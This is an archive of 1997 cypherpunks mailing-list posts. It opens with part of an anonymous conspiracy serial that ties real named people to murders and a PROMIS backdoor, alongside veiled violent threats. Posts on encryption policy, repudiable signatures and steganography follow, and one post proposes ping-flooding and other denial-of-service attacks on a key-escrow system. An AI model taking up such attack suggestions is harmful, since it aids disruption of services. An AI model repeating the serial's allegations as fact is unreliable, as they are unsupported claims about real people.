close FBI and CIA connections) after acquiring it from Peter Videnieks,
who
was then a Department of Justice contracting official with the
responsibility for PROMIS software. I performed the modifications to
PROMIS
in Indio, Calif.; Silver Springs, Md.; and Miami, Fla."

The modifications included a telecommunications "trap door" that would
let
the US Government eavesdrop on any other organization using the pirated
software, Riconosciuto said.

...

Although Brian denies any involvement with Inslaw or Riconosciuto, the
House
Judiciary Committee received a report from a special task force of the
Riverside County, Calif., Sheriff's Office and District Attorney,
stating
that on the evening of Sept. 10, 1981, arms dealers, buyers and various
intelligence operatives gathered at the Cabazon Indian Reservation near
Indio, Calif., for a demonstration of night warfare weapons. The
demonstration was orchestrated jointly by Wackenhut and the Cabazon
Indian
tribe. (Many published reports allege that the Wackenhut/Cabazon joint
venture served as a weapons fencing operation for Oliver North's Iran-
Contra dealings.)

Bad BillyG involved in that mess?
A Player To Be Named Later shook his head negatively, to himself. It
seemed
unlikely, but it would explain a few things which had been troubling
him,
lately. And it would mean that the anonymous poster knew enough intimate
details of an event that had been shrouded in deep secrecy to pose a
threat
to all those connected with the Indio affair.
It would also explain the apparently strange ending to a major play by
the
news and computer industry heavyweights calling themselves the 'Internet
Content Coalition' that the anonymous post seemed to be threatening.

For starters, Microsoft made an immediate about-face, within hours of
the
anonymous post, on their plans to include technology supporting the
Internet
Content Coalition's aims in their next version of Internet Explorer.

>From - Wed Aug 06 19:31:05 1997
From: nobody@neva.org (Neva Remailer)
Subject: MicroGorilla Postpones Rocket-Launch Plans Until..."likely
sometime
next year."

>Anonymous wrote:
> > The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert
> > early yesterday morning by a rag-tag bunch of paramilitarist computer
> > gurus who unveiled an InterNet Bill of Bytes that included the words,
> > "MicroSoft shall make no laws..."

Steven Vonder Haar wrote, the very next day:
> Microsoft Corp. has tabled plans to include new technology in its
> Internet Explorer 4.0 browser that would have made "news" oriented
> sites exempt from content rating standards promoted for use on the
> Internet.

>Anonymous wrote:
> > Angered by a self-appointed council of computer industry magnates who
> > have announced their intention to seize fascist control of the quickly
> > burgeoning Information Highway by controlling the definition of all
> > information, the rebels set up a shooting range which contained a wide
> > variety of targets ranging from copies of the Wall Street Journal to
> > life-sized cardboard cut-outs of a hooded figure referred to only as,
> > "a billionaire to be named later."

Steven Vonder Haar wrote, the very next day:
> RSAC President C. Dianne Martin said Microsoft is running out of time
> to implement the separate designation for news sites before the launch
> of the 4.0 version of Explorer later this year.

>Anonymous wrote:
> > "We have decided on two classes of ratings." explained a tassel-
> > haired young woman as she slid shells into a Winchester Defender
> > sitting on her lap. "On..." she said, lifting the shotgun with one
> > hand, then liberating the hooded head from a nearby cardboard cut-out,
> > before turning back to say, with a Cheshire grin, "...and off."

Steven Vonder Haar wrote, the very next day:
> However, the company
> plans to include the news designation in the 5.0 version of Explorer
> when it is made available..."likely sometime next year."

There wasn't much doubt that 'Nobody' was pointing out to one and all
that
the Internet Content Coalition was under siege, and that the opening
salvo
by 'Anonymous' had brought the largest corporation in history to its
knees,
in surrender.
A bold claim, but would this declaration of war in the battle of the
giants
to seize control of the official reigns of news and information on the
InterNet be backed up in the end, by across the board results?

A Player To Be Named Later pored over a FreeAmerica report on the
resurrection of the Inslaw ghosts in the mid-1990's.

Federal Corruption
INSLAW

Copyright FreeAmerica and Harry V. Martin, 1995

Congressman Jack Brooks of Texas has opened a new investigation into the
INSLAW case. Brooks is investigating allegations that Justice Department
officials, including Meese, conspired to force INSLAW into bankruptcy in
order to deliver the firm's software to a rival company. The rival firm,
according to court records and law enforcement officials, was headed by
Earl
W. Brian, a former Cabinet officer under then California Governor Ronald
Reagan and a longtime friend of several high-ranking Republican
officials.

[Earl W. Brian! Who had seized control of United Press International
(UPI)
in a deal every bit as shady as the Inslaw affair...]

On March 21, 1992, [Michael] Riconoscuito stated in an affidavit to the
Court and Congress, and before he was arrested, the following:

   * During the 1980s he served as the Director of Research for a joint
     venture between the Wackenhut Corporation of Coral Gables, Florida,
and
     the Cabazon Band of Indians of Indio, California. The joint venture
was
     located on the Cabazon reservation.

[Near the Salton Sea, a long-time haunt of the Author, who brought a
strange
variety of computer gurus to the area, purportedly for Corvina fishing,
but
what was the real story about their travels there?]

   * The Wackenhut-Cabazon joint venture sought to develop and/or
     manufacture certain materials that are used in military and
national
     security operations, including night vision goggles, machine guns,
     fuel- air explosives, and biological and chemical warfare weapons.
   * The Wackenhut-Cabazon joint venture was intended to support the
needs
     of a number of FOREIGN governments and forces, including forces and
     governments in Central America and the Middle East. The Contras in
     Nicaragua represented one of the most important priorities for the
     joint venture.
   * The Wackenhut-Cabazon joint venture maintained close liaison with
     'certain elements' of the United States Government, including
     representatives of intelligence, military and law enforcement
agencies.
   * Among the frequent visitors to the Wackenhut-Cabazon joint venture
were
     Peter Videnieks of the U.S. Department of Justice in Washington,
D.C.,
     and a close associate of Videnieks by the name of Earl W. Brian.
Brian
     is a private businessman who lives in Maryland and who has
maintained
     close business ties with the U.S. intelligence community for many
     years.
   * The purpose of the PROMIS software modification that I made in 1983
and
     1984 was to support a plan for the implementation of PROMIS in law
     enforcement and intelligence agencies worldwide. Earl W. Brian was
     spearheading the plan for this worldwide use of the PROMIS computer
     software.
   * Some of the modifications that I made were specifically designed to
     facilitate the implementation of PROMIS within two agencies of the
     Government of Canada: the Royal Canadian Mounted Police (RCMP) and
the
     Canadian Security and Intelligence Service (CSIS). Earl W. Brian
would
     check with me from time to time to make certain that the work would
be
     completed in time to satisfy the schedule for the RCMP and CSIS
     implementations of PROMIS.

[The RCMP and CSIS...the same entities that the Author had shared a
Russian
language class with in Regina, Saskatchewan, just before the Moscow
Olympics. Who had he encountered in that group who would later be
instrumental in acquiring the PROMIS software for the Canadians?]

   * The propriety version of PROMIS, as modified by me, was, in fact
     implemented in both the RCMP and the CSIS in Canada. It was my
     understanding that Earl W. Brian had sold this version of PROMIS to
the
     Government of Canada.

   *

A Player To Be Named Later suddenly remembered the email to the
CypherPunks
mailing list and the corporate headquarters of the Internet Content
Coalition that had been forwarded from the LMBoyd Website, which was
known
to be a forum for the Circle of Eunuchs to send veiled messages to set
the
stage for their more pointed attacks on the Dark Forces.
It was an email that was sent out when the dark specter of the Internet
Content Coalition first began to flex their muscles.

>From - Fri Jul 25 19:38:14 1997
Subject: Sampler: July 25
To: multiple recipients of <sampler@lmboyd.com>
======================================================
The serial killer does in one person at a time in
intervals. The mass killer murders however many in a
single mad rampage. The mass killer is usually suicidal.
The serial killer isn't.
...
Q. Does any animal deliberately stalk human beings for
food?
A. None but the polar bear. At least, such is the claim
of the experts.
======================================================
LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
http://www.LMBoyd.com/postscript.htm

"Of course!"

A Player To Be Named Later slapped his forehead, amazed that he had not
seen
the connection sooner between the 'mass murderer, serial killer stalking
humans from the North' email, the Not-News threat singling out "a
billionaire to be named later," and the email sent to the Internet
Content
Coalition players just before they held the meeting where they
effectively
folded their hand in their attempt to take over control over defining
what
was 'official' news on the InterNet, and what was not.

He reread, once again, the anonymous post sent just hours before the
Internet Content Coalition's grand agenda bit the dust:

"In July, Anson Ng, a reporter for the Financial Times of London
was shot and KILLED in Guatemala. He had reportedly been trying
to interview an American there named Jimmy Hughes, a one-time
director of security for the Cabazon Indian Reservation secret projects.
"In April, a Philadelphia attorney named Dennis Eisman was found
DEAD, killed by a single bullet in his chest. According to a former
federal official who worked with Eisman, the attorney was found dead
in the parking lot where he had been due to meet with a woman who
had crucial evidence to share substantiating Riconosciuto's claims.
"Both Eisman's and Ng's deaths were declared 'suicides' by
authorities.
"Fred Alvarez, a Cabazon tribal leader who was in vocal opposition
to the developments on the reservation, was found SHOT TO DEATH
WITH TWO FRIENDS in 1981. Their murder remains unsolved.

At last, the whole bizarre, implausible scenario finally came together
in A
Player To Be Named Later's mind.

The Author's presence near the belly of the beast in Indio had not been
a
mere coincidence. When the Internet Content Coalition made their move,
the
Circle of Eunuchs already had the information they needed to connect
several
of the players in the proposed news cartel with the trail of deaths
surrounding both those involved in the INSLAW debacle and the reporters
closing in on the real story involved.
And they had made it more than plain that some of those involved in the
Wackenhut-Cabazon arms deals were now playing for the opposition...and
that
bullets don't discriminate between the rich and the poor.

A Player To Be Named Later was still mystified as to how the Magic
Circle
had been able to pull off such a bold, in-your-face maneuver on some of
the
Titans of the news and computer industries.
In the early days, after the dissemination of "The Xenix Chainsaw
Massacre"
had begun in 1989, the Circle of Eunuchs had come under fierce attack
from a
variety of sources from within the secret government hunting them.
Mysterious deaths, established careers going up in flames, overnight.
The
Magic Circle had quickly disappeared far into the underground of
computer
society.
Then, the Circle had begun to show their hand, more and more, now
reaching
the point where they could apparently do battle with the heavyweights
working behind the scenes with Gomez and the Dark Allies. But A Player
To Be
Named Later hadn't seen any indication that the Circle of Eunuchs had
managed to gain possession of a hole-card that could account for...unless...

"Casolaro!" A Player To Be Named Later whispered, as if speaking the
name
aloud might bring down fire from the heavens. Quickly, he did a disk
search
for a vaguely remembered article from Conspiracy Nation...

Forwarded:
>From the Patriot Archives ftp site at: ftp://tezcat.com/patriot

                      Conspiracy Nation -- Vol. 3 Num.
----------------------------------------------------------------------------

                          ("Quid coniuratio est?")

THE OCTOPUS
===========
By Karen Bixman
(For The People *News Reporter*, 11/14/94)
...
On the morning of August 11, 1991, Danny Casolaro was found dead
in the bathroom of his hotel room at the Sheraton Hotel in
Martinsburg, West Virginia. His wrists had been slashed ten
times; his briefcase and notes were missing. The authorities
labeled the death a suicide, and before Casolaro's family had
been contacted, the body was embalmed.

-----------------------------------------------------------------
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Damn! He had nailed it!

Karen Bixman's article had confirmed everything that A Player To Be
Named
Later had increasingly suspected as his mind pored over the mountain of
information which had seemed so tentatively, but treacherously, related.
Bixman had laid down an utterly astounding, twisted trail of closely
connected, mysterious deaths and blatant murders surrounding the INSLAW
and
Iran-Contra misdeeds that completed the connections between the past and
current players in the battle for control of world supremacy in computer
information and communications.

What's more, the timing of the disappearance of Danny Casolaro's
extensive
notes on the winding serpent of evil surrounding these affairs coincided
with the Magic Circle's unmistakable reentry into manifest participation
in
the battle against the Evil One and the Dark Forces under his command.

The Coupe de Gras, however, was the source of the Conspiracy Nation
newsletter.
Prairienet.org! From whence sprang the apparently unrelated Bureau42
clique
who had seized the opportunity to host 'The True Story of the InterNet'
transcripts, despite the troubled and bloody history of those who had
done
so in the past.
Bianca had mentioned to Mike Denney, at Basis Inc., that she had been
prepared to hack the Bureau42 servers when they came under attack upon
placing 'Part II' and 'Part III' on their system, but that they had
managed
to clear up the problems that developed on their own, and had done so in
a
surprisingly short period of time.

Only one thing was still bothering A Player To Be Named Later.
Microsoft had been the first member of the Internet Content Coalition to
publicly fold their hand in the battle to control news and information
ratings across the InterNet, but Gates seemed, on the surface, to be
less
visibly connected to the extremely messy past misconduct of the others,
and
thus seemed to have the least to lose if the shit hit the fan.
Gate's quick concession to the veiled threats had definitely been the
catalyst in causing the hasty retreat of the other members of the news
cartel that had seemed to be on the drawing board for quite some time in
the
plans of Gomez and the Dark Allies...but why?

Bill Gates had not become the richest and most overtly powerful
individual
on the face of the earth by fighting against the grand designs of the
Evil
One, but he seemed to be playing his cards close to his chest, in a
manner
that suggested that he had an agenda of his own that might not run
exactly
parallel to that of the Dark Forces.

What was BillyG's game?
A Player To Be Named Later had been involved in the grand battle taking
place behind the scenes of everyday reality for long enough to know that
it
was all done with mirrors.

"And each man, in his time, plays many parts." he said, perplexed for
the
moment.

"To Shakespeare!" A Player To Be Named Later said, lifting his glass in
toast. "A member of the Magic Circle, if there ever was one."
"If there ever was one..." he repeated, smiling at his unintentional
inside
joke.
----------------------------------------------------------------------------

The Shadow was watching Bad BillyG closely, for any sign of subterfuge
in
his inner demeanor.
"You're certain about Blanc Weber?" he asked, once again.

"Well, I could be wrong, but we've investigated her thoroughly, and
every
indication is that all that nonsense about her development of the
HydroCube
is just that-nonsense."

BillyG shrugged his shoulders, apparently unconcerned with what he
regarded
as a small, internal company matter.
"I could have her isolated, but I don't really see much point. If she is
hiding something, then it's probably better not to let her know how
closely
she is being monitored. Perhaps you should put some of the Dark Allies
on
her tail for a while, in case there is something that my people have
missed."

"No, I don't think that will be necessary." the Shadow replied,
casually.
He had instructed his men to monitor Blanc Weber's movements and
activities
months ago, as well as those of the spooks Bad BillyG had assigned to
watch
her. His own spooks had likewise turned up nothing positive, but he had
pressed the matter with Gates in order to judge his reaction just the
same.

"Well, her digital implant went according to plan," BillyG added, "so we
will be able to yank her chain on a moment's notice, if it becomes
necessary
to do so, in the future."

The "billionaire to be named later" sat back and allowed himself to
indulge
in the luxury of looking forward to the moment when A Player To Be Named
Later would find out much, much more than he really wanted to know about
Bad
BillyG's plans for the tattered remnants of the Magic Circle who were
attempting to interfere with his own vision of the direction the future
of
the InterNet should take at this nadir point in time, when the battle
for
control of virtual reality was about to explode into every single facet
of
human life
----------------------------------------------------------------------------

Bubba Rom Dos thought about the forefather of his technical namesake,
who
had so far managed to walk with the Evil One as far as the bridge in his
rise to riches, fame and power a hundred years in the past.
The Cowboy, Priscilla, Alexis, Jonathan, and d'Shauneaux were likewise
joined with him in contemplation of this paradoxical figure from the
past
whose role in the great battle between the Forces of Light and the
Forces of
Darkness had remained an enigma throughout the history and legends of
the
Circle of Eunuchs.

Friend or foe, there was no denying that Billy the Kid was going to play
a
major role in the direction that the thundering train of history was
about
to take as it approached the crossroads of destiny on its way to an
ElectroMagnetic Future where freedom would hinge on the free flow of
Taoist
bytes routing around the enslaving chains of Fascist bits that Gomez and
the
Dark Allies had been carefully laying in place since the dawn of the
Computer Era.

Bubba Rom Dos, sage and savant, deviant and derelict, raised a glass of
"Bubba's Special Reserve" in toast, proclaiming as the tattered remnants
of
the Magic Circle joined him in his libations, "To Billy the Kid...or Bad
BillyG...to the things that he did...or to what he may be..."

The Trei Transponder began softly humming in the background, as if
trying to
tell the small assembly something very, very important for them to know.
Then it fell silent...

Copyright "Anonymous TruthMonger <billg@microsoft.com>"
"That's not a government backdoor <bug>. It's a hacker's backdoor
<feature>."
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 24 Sep 1997 06:01:23 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The great GAK crack (making GAK economically impossible)
In-Reply-To: <v03102801b0438070e435@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970923173113.5905C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 15 Sep 1997, Tim May wrote:

> This will stop the "flooding attacks" which a free key escrow system would
> generate. It will also, sadly for us, put an end to many applications where
> keys are generated quickly, transiently, and on an ad hoc basis. There
> simply will be no time to register the keys, and the $10 (or whatever)
> processing fee will be unacceptable for these applications.

That all depends on how they are set up to accept such key requests.  Fer
instance, say they set up a nice litte web site that takes in credit
cards... can we say ping flood boys and girls?

Suppose they set up a mail in system where you have to mail letters to
them.  We simply go through every magazine we find and send subscribtion
requests to that address.  As most mags will happily send a free issue
this will do wonders...  Send them to "Joe Smith, Care Of Key Escrow..."
:)

If they set up a phone line, we call the phone line and keep it busy...
If they set up a system whereby mistakes have to be refiled, then we
simply all march down there and demand that we get our keys registered and
we always make mistakes in something or other, or we forget our ID's.

There may still be ways to spam them and keep them from implementing
anyway...  If not there's always Toto and the suitcase approach I
suppose.... And heck I'm sure someone is willing to donate $1M for such an
endeavor...

Denial of service attacks are always possible somehow or other...  It's a
question of what we're willing to donate to the effort.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 24 Sep 1997 02:44:29 +0800
To: tcmay@got.net
Subject: distributed ratings & repudiable public signatures (was Re: encouraging digital pseudonyms)
In-Reply-To: <v03102805b04c51cb80d0@[207.167.93.63]>
Message-ID: <199709231830.TAA00303@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Easier to use pseudonyms would be nice, yes.

Another interesting "service" which really requires client support,
which would improve reading efficiency would be mailing list software
with distributed ratings.  A web based archive with cgi-bins to
accumulate ratings on posts would be feasible for you people who don't
have pay per second.

Then you construct your own matrix of reliance on individual rating
providors (other list readers), and you have probably a pretty good
estimate of your own likely interest in a given post.

Applies to non-anonymous posts too.  Plenty of trash ends up on the
list that hasn't come through a remailer.


We've got two conflicting desires with respect to persistent identity
and proof of authorship.  One desire is that you would like to provide
a verifiable persistent persona whilst remaining anonymous.  The other
desire is to be able to repudiate your signature.  (There might be
some value in having repudiability if you get a RICO conspiracy case
against US cpunks via Jim Bell.)

One tentative technical solution to this situation which I'm not sure
has been discussed before is to actually try this, in a way which
gives some non-repudiability, possibly quite good non-repudiability
for a cypherpunks purpose, but to at the same time arrange that it
would be fairly repudiable in legal terms. 

So how do we do that?

Well how about we arrange the signature keys, so that a combination of
relatively trusted cypherpunks could forge this public signature if
they colluded.  Say we arrange that all 4 of Lucky, Tim, John Young
and Black Unicorn have to collude to forge a signature.

That would probably be pretty good insurance against forgery for a
public posting purpose for the cypherpunks lists. 

At the same time if Tim signs his post saying "I bid $800k for that
suitcase nuke", and I post via a remailer an offer signed with my own
key of another $50k, well you-all would probably fairly confident that
I posted this due to the signature, despite forgery possibility.  A
jury would have to however swallow the claim that this signature could
have been forged by the collusion of two Nyms (the caped green one,
and some one known "as black unicorn"), and two crypto anarchist
types, well to them that's probably stretching belief.

(btw the idea of repudiable signatures for private email, where the
signature is constructed so that the recipient could forge it is an
established technique; it will provide the recipient with very good
confidence in the signature, yet it will be one persons word against
anothers if it comes to dispute.  Use remailers to enhance the effect,
otherwise people will be arguing that it's not forged as proved by
mail logs etc)

A general principle with repudiable signatures I think is that to
maximise the pluasibility of a repudiation you should use remailers to
deliver all your publically posted email.  With good tools this would
be no problem to list members, and would look like a real mess I think
to someone trying to prove authorship of disputed documents.

Fund pledge: Nuke them till they glow!  Any other donations :-)

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 24 Sep 1997 04:05:23 +0800
To: declan@well.com
Subject: Re: Coalition letter opposing Oxley amendment -- from Apple toUSWest
In-Reply-To: <v03007806b04d79e877c9@[204.254.22.189]>
Message-ID: <199709231846.TAA00945@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh <declan@well.com> writes:
> Lucky Green writes:
> >I don't know if I should be happy or sad about Declan's recent tone of
> >writing. "Forget about working /with/ DC". I certainly never wanted to be
> >right. There was a time Declan at least hoped that /some/ good might come
> >out of DC. It doesn't seem he thinks this anymore.
> 
> [case by case examples where tbe best thing US government could do
> is repeal laws]
> 
> All in all, these issues require minimal action or no action. Especially on
> encryption: this Congress will never take a pro-crypto approach. The law
> enforcement lobbyists are simply too strong and too effective. No new laws
> are better than bad new laws.

I'd interpret that lot to mean the best possible outcome would be to
disband Congress tomorrow.

Now where'd I put that deskfab 6 file.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 24 Sep 1997 02:00:12 +0800
To: cypherpunks@cyberpass.net
Subject: Random character stereograms and stego
Message-ID: <199709231754.TAA13096@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's an application which is well suited for steganography.  This is
a random-character stereogram.  Look at it with a monospace font and
unfocus your eyes so the two blocks of text merge, and you will see
the message HI displayed:

VGhpcyBpcyBhIHRlc3Qg  VGhpcyBpcyBhIHRlc3Qg
bWVzc2FnZSB3aGljaCBp  bWVc2AFnZB3xaGljaCBp
cyBiZWluZyBzZW50IHZp  cyBZWmluZBzvZW50IHZp
YSBzdGVnYW5vZ3JhcGh5  YSBdGVnYW5v9Z3JhcGh5
LgpIYWQgdGhpcyBiZWVu  LgpYW1QgdhpBcyBiZWVu
IGFuIGFjdHVhbCBtZXNz  IGFIGoFjdVhXbCBtZXNz
YWdlLCBpdCB3b3VsZCBo  YWdlLCBpdCB3b3VsZCBo
YXZlIGJlZW4gZW5jcnlw  YXZIGJlZW4vgZW5jcnlw
dGVkCnVzaW5nIGEgbWV0  dGVkCVzaUW5nIGEgbWV0
aG9kIHdoaWNoIHByb2R1  aG9kIdoa4WNoIHByb2R1
Y2VzIG91dHB1dCB3aGlj  Y2VzI91dAHB1dCB3aGlj
aCBpcyBpbmRpc3Rpbmd1  aCBcyBpbmRnpc3Rpbmd1
aXNoYWJsZQpmcm9tIHJh  aXNoYWJsZQpmcm9tIHJh
bmRvbSBieXRlcy4K      bmRvbSBieXRlcy4K

This was just done manually, so it's pretty crude.  It would be easy
to write a program to display any message desired.  People could get
in the habit of sending long vertical stereograms saying "GO GIANTS"
or "MICROSOFT SUX" or whatever they felt like at the moment.  The
program could either generate its own random numbers or else suck
in random data from a disk file.

In this case, if you take the left block and reformat it so that it can
be base64 decoded, you will see a short message.  (Unix users can
pass the left block through "mimencode -u".)  In a real stego
application the message would be encrypted in 'stealth' form so it
was indistinguishable from random bits to anyone who did not hold
the decryption key.

This could even catch on as a legal "thumb your nose at the spooks" fad,
people adding random sterograms at the end of their messages.  You
could even have an active .sig which had a constant message but used
different random characters each time.  They wouldn't actually be sending
anything but there would be no way to be sure.

Some people say they'll just forbid transmitting data that looks random,
but realistically, that would be very unlikely to happen.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 24 Sep 1997 09:23:47 +0800
To: cypherpunks@toad.com
Subject: Congress & Crypto Roundup: Vote in Commerce cmte tomorrow
Message-ID: <v03007801b04e13fe14f2@[204.254.22.189]>
MIME-Version: 1.0
Content-Type: text/plain



Both sides of the crypto-debate spent today jockeying for position before
an important vote tomorrow in the House Commerce committee. At issue is
whether the panel will follow the lead of the Intelligence committee and
restrict your ability to protect your privacy with whatever technology you
want. Law enforcement officials are pressing for a secret backdoor, and
Rep. Oxley was planning to offer a proposal (Oxley I) giving them just that.

* Today Oxley circulated a revised proposal that I think of as Oxley II.
It's designed to respond to some of the criticisms:
  http://www.cdt.org/crypto/legis_105/SAFE/Oxley_Manton_rev.html

* Law professors sent a letter criticizing Oxley I:
  http://www.law.miami.edu/~froomkin/lawprof-letter.htm

* Yesterday dozens of groups -- from Apple to USWest -- sent out a letter
criticizing Oxley I. (It's attached below.) The question is now: how many
of these groups will oppose Oxley II?

* Oxley is trying to carve off pieces of the alliance and get the Baby
Bells not to oppose Oxley II, Reuters reports below. Also, grassroots law
enforcement groups -- including some from California -- are sending their
own letters to support Oxley.

* Rep. Rick White is trying to cut a deal; he's proposing alternative,
compromise language. A note from his staff is attached below.

* Scientific and engineering professional societies, too, weighed in. I've
attached their note at the end of this message.

-Declan

--------------

>From White's staff:

>Congressman Rick White will offer an alternative to the Oxley/Manton
>substitute in order to preserve the SAFE bill while addressing some of
>the concerns of the law enforcement community.
>
>The White alternative would:
>
>1)  Give law enforcement the tools they needs.  The alternative would
>create a National Electronic Technologies Center (NETCenter) to serve
>local, state and federal law enforcement authorities by providing
>information and assistance regarding decryption technologies and
>techniques.  In addition the NETCenter would give law enforcement access
>to the tools they need to keep pace with changing technologies.
>
>2)  Tough on those who commit crimes by using encryption.  The
>alternative doubles the allowable jail time for those who break the law
>and commit crime and try to hide their tracks by use of encryption.
>
>3)  Study.  There has never been a study on a domestic key recovery
>system and the recent proposal by the FBI.  The White alternative calls
>for a six month study of domestic key recovery system to determine its
>effectiveness.
>
>4)  Americans should not have to turn over the keys to their electronic
>security.  The 4th Amendment protects our individual right(s) to keep
>protect our "effects."  The White alternative states that the federal
>government and the States cannot restrict the use of domestic encryption
>technologies and cannot condition the issuance of certificates of
>authentication -- which many believe will be necessary for electronic
>commerce to succeed -- on the use of a government-blessed key recovery
>system for encryption.

--------

September 22, 1997

The Hon. Thomas J. Bliley, Jr.
Chairman
House Commerce Committee
2125 Rayburn House Office Building
Washington, D.C.  20515

Dear Chairman Bliley:

We are writing to express our strong opposition to the Oxley-Manton
amendment to HR 695, the Security and Freedom through Encryption Act
(SAFE), which the Commerce Committee will consider this week, and to any
form of government domestic controls on encryption.

The Oxley-Manton amendment would impose unprecedented restrictions on the
domestic manufacture and availability of encryption, thus potentially
compromising the security of the nation's telephone system and the Internet
alike.  The amendment would:

* prohibit the domestic manufacture, sale and importation of any encryption
  product or service unless the government is given immediate access to the
  plaintext of communications and stored files without the knowledge of the
  user;

* prohibit network service providers, including telephone companies and
  Internet service providers, from offering encryption products or services
  unless communications can be immediately read without the knowledge of the
  user; and

* give the Attorney General unprecedented, broad new powers to establish
  standards for encryption products and services.

Encryption technologies are the vital tools consumers and businesses need
to operate with security and privacy in the information age, and are a
cornerstone of electronic commerce.  Government domestic controls on
encryption are incompatible with the consumer, corporate, and national
security benefits of the national information infrastructure.  Numerous
communications products and services are now under development that
incorporate encryption as an essential feature.   Oxley-Manton will stifle
these new products and services, end the deployment of market-driven key
recovery systems,  and undermine the potential of the new communications
media for electronic commerce and the promotion of democratic values.

* Strong encryption will not only ensure privacy but also help prevent crime
  on the network.  However, by mandating trap doors in all domestic encryption
  products and communications networks, the Oxley-Manton amendment will make
  the personal records and communications of individuals and businesses more
  vulnerable to hackers, terrorists, industrial spies and other criminals.  Put
  at risk will be medical records, tax returns, private email, business
  proprietary information and transactions, attorney-client communications,
  and cellular phone conversations.

* Oxley-Manton's broad requirement for "immediate access" to decryption keys
  without knowledge of the user would force Americans to forfeit their
  constitutional right of privacy as a condition of participating in the
  information age.

* Oxley-Manton invites disastrous industrial policy.  It is industrial policy
  with criminal sanctions attached.  The amendment authorizes the Attorney
  General to promulgate technical requirements for all encryption products
  and gives the Department of Justice prior approval authority over all
  encryption systems for computers and telecommunications.  This will stifle
  innovation. It will drive encryption expertise out of this country.  The
  market should be allowed to develop its own solutions, many of which in fact
  will meet law enforcement's needs within our existing system of legal
  authorities and safeguards.

* Oxley-Manton will be ineffective in keeping strong encryption out of the
  hands of criminals.  Criminals and terrorist groups will not use a system
  that gives the government access to their decryption keys.  In fact, the
  FBI has admitted in Congressional testimony that criminals will always
  have access to strong unbreakable encryption.

We urge the Committee to reject the Oxley-Manton amendment and any other
form of domestic encryption control.

Sincerely,

ACL Datacom, Inc., California
American Electronics Association
American Automobile Manufacturers Association
Americans for Tax Reform
America Online, Inc.
Ameritech
ANS Communications, Inc., New York
Apple Computer, Inc.
Ashton Communications Corp., California and Texas
Bell Atlantic
Bell South
Bowles Farming Co., Inc.
Business Software Alliance
Center for Democracy and Technology
Commercial Internet eXchange Association
CommerceNet
Compaq Computer Corp.
CompuServe, Inc.
Computer & Communications Industry Association
Computer Software Industry Association
Consumer Electronic Manufacturers Association
Counsel Connect
Crest Industries, Inc.
DataXchange Network, Inc.
Direct Marketing Association
Electronic Data Systems, Corp.
Electronic Frontier Foundation
Electronic Messaging Association
Epoch Internet
Fiber Network Solutions, Inc., Columbus, Ohio
Genuity Inc., a Bechtel company
IBM Corp.
Information Technology Association of America
Information Technology Industry Council (ITI)
Institute of Electrical and Electronics Engineers - US Activities
International Communications Association
Intuit Inc.
Internet Providers Association of Iowa
Microsoft
National Association of Manufacturers
NETCOM On-Line Communication Services, Inc.
NetINS, Inc., Iowa
Novell
Online Banking Association
National Association of Manufacturers
National Retail Federation
Netscape Communications Corp.
Phoenix Media/Communications Group
Pro-Trade Group
PGP, Inc.
RSA Data Security, Inc.
SBC Communications Inc.
Securities Industry Association
Silicon Valley Software Industry Coalition
Software Forum
Software Publishers Association
Sun Microsystems, Inc.
TheOnRamp Group, Inc., Ohio
Trusted Information Systems
United States Council for International Business
United States Internet Council
United States Telephone Association
U.S. Chamber of Commerce
US West
Voters Telecommunications Watch

---


Lawmakers try to get Baby Bells out of code debate
    By Aaron Pressman
   WASHINGTON, Sept 23 (Reuter) - With a Congressional panel set to vote
Wednesday on a proposal to impose domestic controls on encryption,
lawmakers backing the limits worked furiously to convince telephone
companies not to oppose them.
   Late Tuesday, officials at the five "Baby Bell" regional phone companies
 said they had not decided if last-minute changes to the proposal addressed
 their concerns.
   On Monday, the five companies joined dozens of high-tech firms and
business and Internet groups in a letter opposing the proposal authored by
Ohio Republican Rep. Mike Oxley.
   The restrictions, which would require all products sold in the United
States to include features allowing the government to covertly decode any
encrypted data, had been building strong momentum in Congress over the past
 month.
   And until the telephone company opposition surfaced two weeks ago, the
